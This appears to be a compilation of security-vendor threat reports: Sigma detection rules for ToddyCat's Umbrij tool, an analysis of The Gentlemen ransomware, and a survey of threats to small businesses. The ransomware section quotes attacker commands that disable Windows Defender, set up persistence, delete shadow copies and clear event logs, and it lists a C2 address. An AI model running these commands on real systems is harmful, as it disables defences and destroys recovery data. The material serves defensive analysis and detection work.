description: Detects possible DLL hijacking of Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll by looking for suspicious image loads, loading this DLL from unexpected locations
author: kaspersky
date: 2025-08-11
tags:
    - attack.defense-evasion
    - attack.t1574.001
logsource:
    product: windows
    category: image_load
detection:
    selection:
        ImageLoaded|endswith: 'Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll'
    filter:
        ImageLoaded|contains: '\IDE\Extensions\TestPlatform\Extensions\'
    condition: selection
falsepositives:  Legitimate activity
level: high

Browser launch

Launching a browser with a remote debugging port specified is a highly unusual event on standard user hosts that are not running web application development or automated testing workflows. Consequently, monitoring for these specific command-line arguments can serve as a reliable indicator of this attack.

title: Launching Chrome With Debug Parameters
id: f072803f-3cf4-4537-82e6-e8b3a201d99f
status: stable
description: Detects the execution of Chromium based browsers launched with incognito mode and remote debugging enabled
author: kaspersky
date: 2025-12-11
tags:
    - attack.lateral_movement
    - attack.defense_evasion
    - attack.t1550.001
logsource:
    category: process_creation
    product: windows

detection:
    selection:
        CommandLine|contains|all:
            - '--remote-debugging-port'
            - '--headless'
    condition: selection
falsepositives: Opening a browser as part of web application testing. Legitimate activity
level: high

Revoking third-party access

To review the authorization codes granted to applications, navigate to the Google Account settings under the Third-party apps & services section, or access the following URL directly:

https://myaccount.google.com/connections

This page displays a comprehensive list of applications and services that currently have permission to access the account.

List of apps connected to the Google account

If the Google Workspace Migration for Microsoft Outlook or Google Workspace Sync for Microsoft Outlook applications appear in this list but are not actually used within your organization, revoke their access immediately. This will invalidate all potentially compromised OAuth tokens associated with them.

Risk mitigation

Launching a browser with a remote debugging port enabled is inherently suspicious for users who do not engage in web development. For these employees, you can completely disable Chromium-based browser developer tools.

This can be achieved by configuring the DeveloperToolsAvailability policy. To enforce this, set the registry value to 0x00000002 for the following Windows Registry key and restart the browser:

HKLM\Software\Policies\Google\Chrome\DeveloperToolsAvailability

To verify that the policy has been successfully applied, navigate to the browser’s internal policies page at chrome://policy:

Note that while disabling developer tools can successfully disrupt the automated retrieval of the OAuth authorization code, it will not help, however, if the adversary decides to leverage the browser’s graphical user interface (GUI) — though this manual approach is significantly less likely due to the friction it introduces for the attackers. Therefore, as a risk mitigation measure, users should be instructed to explicitly log out of their Google accounts as soon as their sessions are complete.

Takeaways

The ToddyCat APT group continues to search for ways of compromising corporate email communications. We have been tracking the group for a long time and we have observed continuous updates to its arsenal in an attempt to bypass security defenses, even as their core techniques remain consistent. For instance, the group has long relied on DLL sideloading to stealthily drop malicious utilities and scheduled tasks. However, their new tool, Umbrij, automates the attackers’ attempts to gain access to organizational email accounts. This automation not only helps increase the scale and frequency of their attacks but also demonstrates ToddyCat’s strong motivation and advanced technical skills.

To defend against these threats, corporate security teams must monitor for suspicious library loading events initiated by legitimate files, watch for instances of browsers launching in developer mode, and conduct regular audits of third-party applications and services with access permissions to Google accounts. Furthermore, deploying a robust, comprehensive security solution — such as Kaspersky Next — is critical to detect this type of malicious host-based activity in a timely manner.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Malicious files
1AB58838E5790EFB22F2D35AB98C0B7D              Umbrij ver. a
A7D7D6C4C3F227F7117261C63B9E23A9              Umbrij ver. a
3D3A621F852C42D97FD7260681E42508              Umbrij ver. a
3432DD9AC0DF80EF86EB80BD080F839B             Umbrij ver. a
22AAEB4946BA6D2F2E27FEB7DBB295DE             Umbrij ver. b
F61FBFB7AA1CD5DC8F70B055B51563E2              Umbrij ver. b
F169D6D172DFB775895A5E2B1540C854              Umbrij ver. c

Legitimate files leveraged for DLL sideloading

Paths to DLL sideloading files

Introduction

This year saw the emergence of The Gentlemen, a prominent example of a group operating under the ransomware-as-a-service (RaaS) model. Although our initial assessment suggested the group first appeared in mid-2025, it actually started ramping up its activities at the beginning of 2026. According to public reports, in the first half of 2026, this group ranks among the top 10 ransomware actors by the number of victim announcements on its data leak site (DLS).

We have been observing the activity of The Gentlemen since February 2026 and have discovered new tactics, techniques, and procedures (TTPs) as well as custom tool development efforts, as they target large corporations and critical infrastructure worldwide. In our research, we have uncovered the group’s methods of reconnaissance, network sniffing, and many other techniques that have not been publicly described before by the wider community.

Technical details

Initial infection vector

The Gentlemen group and its affiliates usually get into victim systems by exploiting vulnerabilities in online services and using stolen or weak login credentials, as reported by multiple cybersecurity vendors. They often target devices like hardware VPNs and firewalls that are exposed to the internet, and use leaked or default credentials to gain access.

We believe the group is likely collaborating with other actors or initial access brokers (IABs) to gain access to the target organizations. While they often deploy ransomware within a few hours after initial access is obtained, our analysis of several attacks revealed some cases, in which access to the victim’s system had been established long before the ransomware was deployed. These cases involved tactics that are not typically associated with the group. This suggests that the initial breach may not have been executed by The Gentlemen at all, but rather by another group or an initial access broker.

Reconnaissance

Our investigation reveals that The Gentlemen conduct thorough internal reconnaissance using tools like SharpADWS, NetScan, Advanced IP Scanner, and netsh to map the target environment and identify vulnerabilities. SharpADWS is used to gather detailed Active Directory information, including domain object enumeration, and can bypass standard logging by wrapping LDAP queries in SOAP messages. The group also uses NetScan and Advanced IP Scanner to scan the network, discover active ports and services, and identify potential vulnerabilities, ultimately gaining a deeper understanding of the network and establishing remote control over identified systems.

Microsoft’s netsh tool is used to capture network packets and gather intelligence, executing the command cmd.exe /Q /c netsh trace start capture=yes report=no filemode=circular overwrite=yes maxSize=4 > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} 2>&1 to start the capture, and cmd.exe /Q /c netsh trace stop > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} to stop it.

The captured data is saved to a shared administrative folder with a random name, and can be analyzed with tools like Wireshark to reveal sensitive information such as unencrypted network activity and potential passwords, which the attackers then use to conduct targeted ransomware attacks.

Lateral movement

The Gentlemen group leverages the NETLOGON share to distribute the ransomware executable to connected computers, enabling simultaneous attacks on multiple devices. To facilitate lateral movement, they use a customized PowerShell script, deploy_gpo.ps1, with specific parameters and variables for each target system. Additionally, they employ PsExec to remotely execute the ransomware binary on targeted systems, providing an alternative method for spreading the infection when the GPO-based approach is not feasible.

Disabling security products

The Gentlemen group uses various methods to disable security software on targeted computers, including the BYOVD technique. This involves installing a vulnerable driver and exploiting its weakness to shut down security software, gain unrestricted access, and launch ransomware attacks. We observed the following vulnerable drivers used in the group’s attacks.

The Gentlemen group also uses specialized tools, including Windows Kernel Explorer and OpenArk64, to disable security software. These tools can intercept and block system calls, and even remove security drivers, allowing the attackers to bypass security measures and remain undetected.

Besides this, the group employs simple methods to disable security software, such as using kavrmvr.exe to uninstall Kaspersky Antivirus, which is prevented by the product’s behavioral detection, and modifying Windows registry settings to disable Windows Defender’s real-time protection.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001

Last but not least, the attackers attempt to disable Windows Defender’s real-time monitoring and ransomware protection, and add itself to the exclusion list, by executing multiple PowerShell cmdlets, as observed in the Go implant, which we’ll analyze later in this post:

Set-MpPreference -DisableRealtimeMonitoring $true -Force
Set-MpPreference -EnableControlledFolderAccess Disabled -Force
Add-MpPreference -ExclusionProcess <file_name>
Add-MpPreference -ExclusionPath 'C:\\'

Go-based backdoor

We observed a custom-made implant, written in Go and deployed a day before the ransomware attack, which acted as a backdoor, enabling remote command execution. The implant collected system information (hostname, domain name, UUID, and local IP addresses) and organized it into a JSON format using a map structure with keys like name, domain, uuid, and localIPs. To obtain the system’s UUID, it used the WMI query "SELECT UUID FROM Win32_ComputerSystemProduct". It then used the Yamux library to establish a persistent bidirectional TCP connection with the C2 server at 81.177.215[.]15:9443. It sent the collected system info to the C2 and waited for operator responses, executing commands using cmd.exe /c if the response byte was 'c', or establishing a SOCKS proxy connection if the byte was 's'. This functionality likely enables The Gentlemen’s red team to pivot within the target network and expand their scan coverage.

Given the backdoor implant’s capabilities, such as establishing two-way communication, executing commands, setting up a SOCKS proxy, and gathering information, it’s clear that it can also be used to expand the attack chain as needed. In one incident, soon after the initial connection was made, we saw the server send reconnaissance commands, including:

whoami
net  group \"Domain Admins\" /domain
net group
dir c:\\
cd c:\\

Go-based ransomware

The most widespread version of the ransomware binary, written in Go, emerged in mid-2025 and has been used in most attacks since then. It features a previously unknown Go obfuscator that renames symbols, source code files, and structures, and alters function signatures, making analysis more difficult. The binary also contains embedded parameters with descriptions, indicating a sophisticated tool. The parameters are listed in the following table:

Automated system execution prevention

The Go variant of the ransomware is designed to avoid detection and prevent analysis. To execute, it requires a password, currently set to CbdU8EgF. This password acts as a barrier to prevent the binary from running in sandbox or automated environments. If the incorrect password is entered or no password is provided, the binary will terminate.

Lateral movement through GPO deployment

When the --gpo parameter is used, the ransomware spreads to other computers on the network through Group Policy. To do this, it generates PowerShell commands based on the target environment, writes them to a file called deploy_gpo.ps1 in the %temp% folder, and executes it.

The resulting script allows the attackers to quickly spread the ransomware across the entire company network. It starts by finding the Domain Controller and loading tools to control it. Then, it copies itself to the NETLOGON network folder to become accessible to all computers.

To prevent the attack from being blocked, the script creates a fake system update policy that disables Windows Defender. It does this by changing the DisableRealtimeMonitoring setting to 1 on all connected computers, thereby disabling real-time scanning and security features. The script also sets up a hidden task by creating a ScheduledTasks.xml file in the SYSVOL directory and modifies the Active Directory property gPCMachineExtensionNames to register the malicious XML file. Finally, the script forces all computers on the network to update their rules immediately by running the gpupdate /force command, causing all computers to download and run the ransomware simultaneously.

Lateral movement through PsExec

In addition to spreading through Group Policy, the ransomware also uses PsExec for lateral movement when the --spread parameter is provided. If PsExec is absent on the target system, it downloads the tool using the following command:

powershell.exe -Command "Invoke-WebRequest -Uri 'https://live.sysinternals[.]com/PsExec.exe' -OutFile 'C:\Temp\psexec.exe'"

The ransomware then performs a thorough scan of the domain by installing and using Remote Server Administration Tools (RSAT) through a PowerShell cmdlet. If the PowerShell commands fail, it uses the NetServerEnum API instead.

try { 
    Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" -ErrorAction Stop 
} 
catch {}

try { 
    DISM.exe /Online /Add-Capability /CapabilityName:"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" 
} 
catch {}

try { 
    Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction Stop 
} 
catch {}

try { 
    Import-Module ActiveDirectory -ErrorAction Stop
    Get-ADComputer -Filter * | Select-Object -ExpandProperty Name 
} 
catch {}

Once it has obtained a list of all computers on the domain, the ransomware checks if each computer is active by pinging it with the command ping.exe -n 1 -w 500 {target}. If a computer is found to be active, the ransomware uses PsExec to spread to that computer.

Pre-encryption activities

Before starting to actually encrypt files, the ransomware attempts to stop any active Hyper-V virtual machines, allowing it to encrypt the virtual disk files. It uses PowerShell commands to achieve this, including:

Get-VM | Stop-VM -Force -TurnOff
Get-VM | Where-Object State -eq 'Running' | Stop-VM -Force -TurnOff

The ransomware also terminates specific processes using taskkill.exe and disables and stops certain services using sc.exe. The lists of processes and services are quite long and include various popular software, such as Microsoft Office instances, database management interfaces, remote management software, backup applications and more.

After stopping and terminating all the services and processes from the lists, the ransomware ensures its persistence on the system by:

• Deleting and recreating a scheduled task called “UpdateUser” to run the ransomware on startup
• Adding a registry key to run the ransomware on startup

The commands used for this are:

schtasks.exe /Delete /TN "UpdateUser" /F
schtasks.exe /Create /SC ONSTART /TN "UpdateUser" /TR "<ransomware_path>"
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GupdateS" /t REG_SZ /d "<ransomware_path>" /f

Encryption process

After completing its preparations, the ransomware begins encrypting files using a hybrid encryption algorithm that combines Curve25519 and the XChaCha20 stream cipher. For each file to be encrypted, it generates a Curve25519 key pair and computes a shared secret with the attacker’s public key embedded in its code and encoded in Base64 as HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=.

Before encrypting the files, the ransomware changes the file access permissions to “Everyone” and gains full administrative access by overriding the file’s Access Control List (ACL) and Access Control Entry (ACE) using the following commands:

• takeown.exe /f <target_file> /d y
• icacls.exe <target_file> /grant *S-1-1-0:F

The ransomware also includes a list of blacklisted directories, files, and extensions to prevent encryption of essential system components.

As the encryption process begins, the ransomware creates a file named README-GENTLEMEN.txt in each directory, containing the ransom note with the victim ID, Tox ID, and Data Leak Site address. If the --silent parameter is not provided, it also changes the desktop wallpaper to The Gentlemen’s embedded image.

The Gentlemen background image

After completing its operations, the ransomware may delete free space on the system to hinder data recovery attempts if the --wipe parameter is provided. Additionally, it may delete itself if the --keep parameter is not provided.

Regardless of provided parameters, it also deletes various system files and logs to cover its tracks, using commands such as:

vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete
wevtutil.exe cl System
wevtutil.exe cl Application
wevtutil.exe cl Security

Additionally, it deletes files from various directories, including:

cmd.exe /C del /f /q C:\Windows\Prefetch\*.*
cmd.exe /C del /f /q C:\ProgramData\Microsoft\Windows Defender\Support\*.*
cmd.exe /C del /f /q %SystemRoot%\System32\LogFiles\RDP*\*.*
cmd.exe /C rd /s /q C:\$Recycle.Bin

C-based ransomware

As The Gentlemen’s operations have extended, multiple researchers from different information security vendors have identified two ransomware implant versions: the cross-platform Go variant described above and a C-based ESXi locker for Linux. Our investigation has also uncovered a new, still-in-development C implant, currently limited to Windows.

This new ransomware variant has been observed in a limited number of attacks on organizations. While the overall malware structure remains similar to the Go variant we have described, the encryption algorithm has undergone significant changes, suggesting The Gentlemen group is expanding its capabilities. We believe this variant is still in development and being tested on a small subset of victims, with several parameter options, outlined below.

As can be seen from the parameter list, some of the parameters are not yet implemented. We anticipate that this variant will mature and likely be increasingly used in future attacks. Notably, the C variant uses smaller denylists of files, directories and extensions compared to the Go variant, which further suggests that this version of the ransomware is still in development. For example, the list of files that should not be encrypted, contains only three items, one of which is the group’s ransom note.

To execute with elevated privileges when receiving the --system parameter, the implant creates a scheduled task called “TaskSystem” using the command schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd %s && %s" /st 20:00 /ru system > nul. It then runs the task with elevated privileges using schtasks /run /tn TaskSystem > nul. If “TaskSystem” exists in the target system, the ransomware first deletes it using schtasks /delete /tn TaskSystem /f > nul, before creating a new one with the same name.

If the ransomware lacks sufficient privileges to access a file, it attempts to modify the file’s ACL by granting FULL_CONTROL permission and setting a new EXPLICIT_ACCESS_A structure using the SetEntriesInAclA API call.

For encryption, the ransomware uses the OpenSSL library, which is statically linked to the binary. Unlike the Go variant, this variant uses the AES256-GCM + RSA encryption scheme. It generates a random 32-byte key and a 16-byte initialization vector (IV) for each file, creating a 48-byte buffer. This buffer is then encrypted using a hardcoded RSA public key and appended to the file. The file’s contents are encrypted with AES256-GCM and written after the encrypted key and IV.

After encrypting all files in a directory, the ransomware decodes a byte array using single-byte XOR decryption and creates a file named !-READ-ME—-GEN-TLE-MEN-!.txt in the directory. It then writes the decoded byte array, which contains the ransom note, to the file.

The ransom note in this version of the ransomware reveals a difference from earlier Go versions: communication with the operators is now conducted via email rather than through Tox Messenger.

After completing the encryption process, the ransomware attempts to clear logs from various event log categories, including System, Forwarded Events, Application, and Setup, using the EvtClearLog API. However, it appears that there may be an error in the event log clearing process, as the category "S" is not a valid default entry for an event log category, suggesting a possible typo or missing parameters.

Event clearing function

Victims

The Gentlemen target a wide range of industries worldwide, including manufacturing, IT services, healthcare, financial services, construction, and logistics. Observed intrusions span several regions, with Brazil, China, Indonesia, Taiwan, and Thailand among the most heavily targeted countries and territories according to our telemetry.

Attribution

We have high confidence in attributing the observed activities to The Gentlemen group and its affiliates. This attribution is based on several key factors, including the consistent use of the group’s name, associated email addresses, and Data Leak Site within the binaries and ransom notes.

Conclusion

The Gentlemen group is rapidly gaining traction in the ransomware landscape, recruiting affiliates and executing high-profile attacks. Their adaptability is evident in the emergence of a C-based ransomware variant, a Go-based backdoor enabling remote command execution, and customized scripts tailored to specific targets. Recent data leaks exposing internal communications and operational plans suggest the group will continue to engage in malicious activity. Organizations are advised to prioritize vulnerability management and system hardening to reduce the risk of compromise.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Go ransomware

3B46A729DB7AE6AF8B19711C9452194D        locker_eryoo5_windows_amd64
02944C8A5535CDB5B2CBB893DB2D5ACF     locker_lqy8xb_windows_amd64.exe
10CA9A4040001560D053B7E7885C1B95     locker_28f3cl_windows_386.exe
3C471EBC947CDF32240A90FFADF49B13     locker_aga19g_windows_amd64.exe
4BE8BB62F0EBBCF4CE52C35AB6F794F5     locker_wh54td_windows_386.exe
53C616677BC7E2A0A03127F19166D007     locker_p663zs_windows_amd64.exe
5C3B9821FC82A9028CB63B9671950919     locker.exe
5F0B2C6D9F442754258BF4DD841C8341     locker_t1zged_windows_amd64.exe
608FAF58353B65C45EF9833358AC3787     locker_u90lyt_windows_amd64.exe
6AE7C9A7EA0B8C40A64225734F6BD01D     gentle.exe
846DC77C1246DB20D976346E0E359502     locker_p663zs_windows_386.exe
ADAC9984B3CC43D66A0D33079BBEC299     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
AE0E536766788478263BF448A9381641     cosmo.exe
B3E418D30312C1B2C58A791286868F42     system_386.exe
C2764744DCB4B0E1DB79CA1E8BF65368     getlwd.exe
D12A5B36DD00586CC374A1CAE43EFED4     locker_c65ffp_windows_amd64.exe
D2F72897E8986303D5567EB2384932B8     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
DE1522F9219497632F30F8A6E72F26B6     locker_c7ekh7_windows_amd64.exe
FDAE2BEB813778B4540A997706862096     AIR.exe

C-based ransomware

B9986A0F1F1F1A798DC3F0C59A80A1A3        fin.exe

Backdoor

554E699C96B332468F1AE69C1AE81EF9        sihost.exe

Vulnerable drivers

5761BD63DA03686FC480245DA7BD1E9F        processmonitordriver.sys
B6B51508AD6F462C45FE102C85D246C8        wamsdk.sys
8F0577D28C4FF5F71B149F444BFABA8E        gamedriverx64.sys
525EF6014F0EF20E44FE47C1D9980B69        biontdrv_wink.sys
407B6A136BBAA7172EB44EF9D08BB58A        biontdrv_winbs.sys
9321A61A25C7961D9F36852ECAA86F55        inpoutx64.sys
73F0A8C3EA794A04E80C32038249F044        wsddprm.sys
EEF8A950952696B018AA9C6DA2F5D7AD        havoc.sys

Scanning tools

EDB1C480295250DD1A38F3AA1357DEAE        netscan64.exe
5537C708EDB9A2C21F88E34E8A0F1744        Advanced_IP_Scanner_2.5.4594.1.exe

File paths

\\Netlogon\
C:\Sharing
C:\Temp
C:\Netlogon
C:\Windows\sysvol\domain\scripts\
%TEMP%
%User%\Downloads
%User%\Desktop

Domain and IPs

81[.]177[.]215[.]15    Backdoor C2

Small and medium-sized businesses (SMBs) remain attractive targets for cybercriminals – in both mass cyberattacks and sophisticated campaigns targeting larger enterprises through trusted relationship attacks. At the same time, smaller businesses may lack the robust cybersecurity policies and necessary resources to protect themselves against an evolving threat landscape.

Kaspersky believes that raising awareness can help small and medium-sized enterprises develop an effective protection strategy. Ahead of International SMB Day on June 27, Kaspersky presents the findings of its 2026 threat analysis for SMBs, which includes real-world examples of attacks.

Key findings

• In the first four months of 2026, Kaspersky solutions detected over 33,300 cyberattacks on SMBs masquerading as popular artificial intelligence (AI) tools – almost five times more than in 2025 and 39% more than the number of attacks disguised as the office and collaboration tools that Kaspersky’s research focuses on.
• Popular messengers and communication services remained the attacker’s most widespread lure, with almost 415,000 attacks involving fake messenger apps and video conferencing software.
• The attackers follow trends: the AI tools Claude and OpenClaw (ex-ClawdBot/MoltBot), which have gained popularity in 2026, were among the common AI lures.
• Fraudsters use fake AI tools to scam businesses out of money, while corporate accounts on social media also remain targets.
• The majority of initial accesses to corporate infrastructures sold on the dark web are allegedly accesses to SMBs. This could be because SMBs tend not to be as well protected as large enterprises and, at the same time, may be trusted contractors for those well-protected enterprises.

Malware and potentially unwanted applications (PUAs) disguised as popular services

Kaspersky researchers used data from Kaspersky Security Network (KSN) to explore how frequently malicious and unwanted files are disguised as legitimate applications that may be used by SMBs. KSN is a system for processing anonymized cyberthreat-related data shared voluntarily by Kaspersky users. For this part of the report, only anonymized data received from users of Kaspersky solutions for SMBs were analyzed.

According to a survey by the Small Business & Entrepreneurship Council (SBE Council), small business owners continue to embrace artificial intelligence and digital transformation as they maintain a generally positive outlook on the economy. Threat actors are also aware of the hype surrounding AI and exploit it for their own benefit. In particular, they actively distribute cyberthreats under the guise of popular AI services.

From January to April 2026, Kaspersky solutions detected 33,352 attacks on SMB users in which malware or potentially unwanted applications for PCs were disguised as five popular AI services. This figure represents an increase of almost five times compared to the previous year. This highlights an evolving trend in which threat actors are weaponizing trust in widely used AI platforms and services, especially popular ones like Claude. Kaspersky experts note that it’s important to download apps from official sources and to verify which apps are available for which platforms.

In the first four months of 2026, Kaspersky researchers also identified more than 1,100 unique samples of malware and PUAs detected in the SMB sector that masqueraded as five popular AI applications, representing a 21% increase compared to the same period of 2025. The samples were mainly different types of Trojware (Trojans and Trojan-like malware), including those capable of downloading and running other malware on compromised devices. Trojware disguises itself as harmless files to trick users into installing them. Their functionality may vary depending on the particular type of Trojware. This may include stealing, deleting, blocking, modifying or copying users’ data, as well as other malicious actions. Trojware therefore represents a highly dangerous cyberthreat to entrepreneurs and businesses.

Kaspersky experts also note that the threat landscape is constantly evolving with new lures appearing all the time. For example, in the first four months of 2026, Kaspersky solutions blocked hundreds of attacks in which malware or PUAs for PCs were disguised as OpenClaw (previously known as Clawdbot or Moltbot).

Other lures for SMBs: Fake communication apps and office software

Kaspersky analysts also explored how attackers leverage other legitimate applications as lures to target SMBs. For example, from January to April 2026, Kaspersky solutions blocked 414,736 attacks on SMB users in which malicious software or PUAs for PCs were disguised as the popular communication apps that Kaspersky’s report focuses on. The number of attacks changed marginally compared to the previous year’s figure, indicating that the lure of fake communication apps remains a serious cyberthreat.

Various fake office applications and collaborative platforms also remain among the lures that attackers may exploit to target SMBs. According to Kaspersky telemetry, more than 24,000 attacks were detected from January to April 2026 in which malware or PUAs for PCs were disguised as specific office applications.

In 2026, AI-related baits have become more widespread among cybercriminals than traditional fake office and collaboration tools. Kaspersky experts note that the more publicity and hype there is around certain tools, the more likely a user is to come across a fake package online.

Scammers and phishers tricking victims into providing credentials and funds

In 2026, Kaspersky researchers observed a wide range of phishing campaigns and scams targeting businesses and entrepreneurs. Fraudsters mimic financial and AI services as well as other platforms in order to steal credentials, personal information and funds.

In the following example, fraudsters disguise themselves as a bank that allegedly offers services for businesses (in other similar schemes they may offer business loans). Entrepreneurs are prompted to visit a scam website and enter their data to open a business account. The requested information varies depending on the scam, but may include name, email address, phone number, social security number, date of birth and address. Scammers may then use this data in their schemes or sell it on the dark web.

Kaspersky experts advise: if you encounter such a website, you should not rush to enter any data. First, examine it. Does the purported financial organization actually exist? How old is the website? Check the WHOIS records and read user reviews before entering any information on the page.

Example of a scam page targeting entrepreneurs

As with many other cyberthreats, AI services are also leveraged as a lure in scams. For example, Kaspersky experts identified a scam website for an AI service “built for contractors”. According to the text on the fraudulent page, the tool can help with “estimates, invoices and schedule”. However, in reality, in such schemes victims usually receive nothing after paying for a subscription, while the scammers get all the money.

Example of a scam page promoting an AI tool

Kaspersky experts note that business accounts on social networks and messengers remain attractive targets for cybercriminals in 2026. In one scheme, phishers distributed notifications with fake alerts related to companies’ business pages. The notifications claimed that Facebook’s review system had detected behavior that seriously violated its Community Standards and Advertising Policies. To avoid permanent restriction of their business page on the social network, owners were prompted to fill out an appeal form and provide personal and business email addresses, phone numbers, as well as the name of their business page and the password for their social network account. The attackers’ goal was to obtain credentials. To reduce user vigilance  and appear legitimate, fraudsters also sent victims a fake appeal code.

Example of a fake notification

Email threats: Fake online documents and exploitation of legitimate platforms

Email remains one of the most widely used channels for cyberattacks targeting enterprises, including small and medium-sized businesses. In 2026, attackers have frequently combined email distribution with the exploitation of legitimate third-party platforms. This is how phishers and scammers usually attempt to bypass traditional email filters and exploit user trust in reputable services. Kaspersky researchers have also observed a large number of schemes targeting corporate users in which phishers and scammers use fake online documents or nonexistent meetings as bait.

In one recent scheme detected by Kaspersky, the attackers sent a fake notification disguised as a letter from OneDrive. The victim was prompted to access the document by clicking a button, but in reality, it led to a phishing website where users risked losing their confidential data. To make the email appear legitimate, the attackers added a phrase designed to  lower the victim’s vigilance: “This item is encrypted and hosted within your secure cloud perimeter.” They also parsed the recipient’s email address and used the extracted data in the fake notification text so that the email looked like a standard notification from this type of service: “[email address domain as company name] has successfully uploaded a new file for [the user’s name as stated in their email address].”

Example of a phishing scheme with fake online documents

Attackers also use other pretexts to trick victims into sharing confidential information, for example fake compliance issues. In the example below, the attackers posed as Apple representatives. The fake notification stated: “Apple has identified a compliance issue related to Google Ads campaigns directing traffic to Apple product detail pages associated with the victim’s seller account.” However, the button in the email led to a phishing website where users are tricked into sharing confidential data.

Example of a fake compliance issue notification

Kaspersky experts observed another notable two-stage scheme aimed at stealing credentials from corporate emails, which involved distributing an invitation to a nonexistent meeting. The scheme is deployed in two stages. In stage one, a corporate user receives an email about a fictitious meeting. After clicking the “Accept Meeting Invitation” button, the user is redirected to a legitimate Zoom Docs (previous Zoom canvas brand) page. In stage two, the victim is prompted to click a hyperlink that reads “Click Here to Accept Meeting”. However, the URL of a phishing page is hidden behind this hyperlink.

Example of an email with a fake meeting

Zoom Docs page containing the phishing link

Malware is also actively distributed via email. In 2025, individuals and corporate users encountered over 144 million malicious and potentially unwanted email attachments, representing a 15% increase from the previous year.

Kaspersky experts note that the lures used in subject lines and texts of malicious emails can appear relatively harmless and rather unsophisticated. In the example below, the attackers target businesses with a fake request for “the best quote for the items attached.” However, the attached file actually contains a Trojan.

Example of a malicious email

Corporate infrastructure access for sale: Posts on the dark web

To assess threat actor activity, Kaspersky Digital Footprint Intelligence experts analyzed hundreds of posts offering initial access to corporate infrastructures published on dark web forums from January to April of both 2025 and 2026. Kaspersky experts note that a single post may contain several offers for access to different allegedly compromised companies.

Example of a post on a darknet forum

Initial access brokers (IABs) sell initial access to compromised businesses, for example, via RDP or web shells. In their posts, IABs may provide information about the region where the allegedly compromised companies are located, their industry and revenue, as well as the type of access. IABs sell access that the buyers can then use for different purposes, including ransomware attacks, stealing corporate confidential information or other fraudulent activity. The price of initial access on dark web forums may depend on the revenue, industry or location of the allegedly compromised companies, or on the access privileges. For example, accounts with admin rights are usually more expensive because they can provide attackers with a wide range of possibilities.

According to the research, there were more posts offering initial access to companies of different sizes located in the Middle East (up 53% from last year), Africa (up 40%) and Latin America (up 17%). Meanwhile the number of posts related to companies located in Europe decreased by 34%. According to Kaspersky experts, this decline can be partially explained by the closure of a dark web forum containing such posts around the time of the study. The number of publications related to companies located in the APAC region also decreased slightly (down 4%), but remained at a consistently significant level for the second year in a row.
At the same time, the number of posts where the region was not specified decreased by 56% in 2026 compared to the previous year. Kaspersky analysts assume that this may indicate that initial access posts from IABs are becoming more targeted and unique.

Share of posts with initial access offers by business size

For this research, Kaspersky experts defined a small business as having an annual revenue of up to US$50 million, and a medium-sized business as having an annual revenue of between US$50 million and US$1 billion.

According to Kaspersky’s research, at the beginning of 2026 the share of posts on dark web forums with offers of initial access to allegedly compromised small businesses was larger than the shares of posts offering access to medium, large or nonprofit organizations. However, this share decreased in the first four months of 2026 compared to the same period in 2025. The share of posts concerning medium‑sized organizations also remained significant for two consecutive years. Taken together, posts concerning small and medium‑sized organizations account for more than half of all the analyzed posts with initial access offers on dark web forums.

At the same time for a certain number of posts initial access brokers didn’t indicate companies’ revenue, therefore, making it impossible to determine the size of the company.

Kaspersky experts note that despite the prevalence of posts concerning small businesses, threat actors may target medium‑sized businesses because they generate higher revenues than small businesses and may have weaker security defenses than large businesses.

SMBs can also become targets as a part of trusted relationship attacks, which enable the attackers to reach larger organizations. According to the Global Report by Kaspersky Security Services, the share of trusted relationship attacks among the initial vectors increased from 12.7% in 2024 to 15.5% in 2025. Therefore, the common belief that small and medium‑sized enterprises are of no interest to attackers is a misconception. Companies of all sizes need to understand the cyberthreat landscape, adhere to cybersecurity rules, implement appropriate cybersecurity solutions, and continuously improve employee awareness.

Cybersecurity action plan for SMBs

SMBs can reduce risks and ensure business continuity by investing in comprehensive cybersecurity solutions and increasing employee awareness. To protect themselves from the ever-evolving threat landscape, companies are advised to follow these rules:

1. Define access rules for corporate resources such as internet services, email accounts, shared folders, and online documents. Keep access lists up to date and revoke access promptly when employees leave the company.
2. Regularly back up important data to ensure the preservation of corporate information in case of emergencies.
3. Establish clear guidelines for using external services and resources. Create well-defined procedures for coordinating specific tasks, such as implementing new software, with the IT department and other responsible managers. Develop short, easy-to-understand cybersecurity guidelines for employees, with a special focus on account and password management, email protection, and safe web browsing. A well-rounded training program will equip employees with the necessary knowledge and ability to apply it in practice.
4. Raise employees’ security awareness. Conduct dedicated training to teach staff how to detect and address potential threats, and track their educational progress. Organizations can achieve this with the Kaspersky Automated Security Awareness Platform through interactive online modules and simulated phishing campaigns that build sustainable cyber hygiene habits across all teams.
5. Implement specialized cybersecurity solutions that fit your budget, size, and industry requirements, with an emphasis on scalability and ease of integration.
   1. Kaspersky Small Office Security Premium is an easy-to-use solution that protects against advanced threats and also provides access to security awareness training for employees, making it ideal for micro-businesses.
   2. Small and medium-sized enterprises with more mature IT expertise should consider Kaspersky Next Optimum, which is designed specifically for growing organizations and offers real-time protection, threat visibility, as well as EDR and XDR investigation and response capabilities.
